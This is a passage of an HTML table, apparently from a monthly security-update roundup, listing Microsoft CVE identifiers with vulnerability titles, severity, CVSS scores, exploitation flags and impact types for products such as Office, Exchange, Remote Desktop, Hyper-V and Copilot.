  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
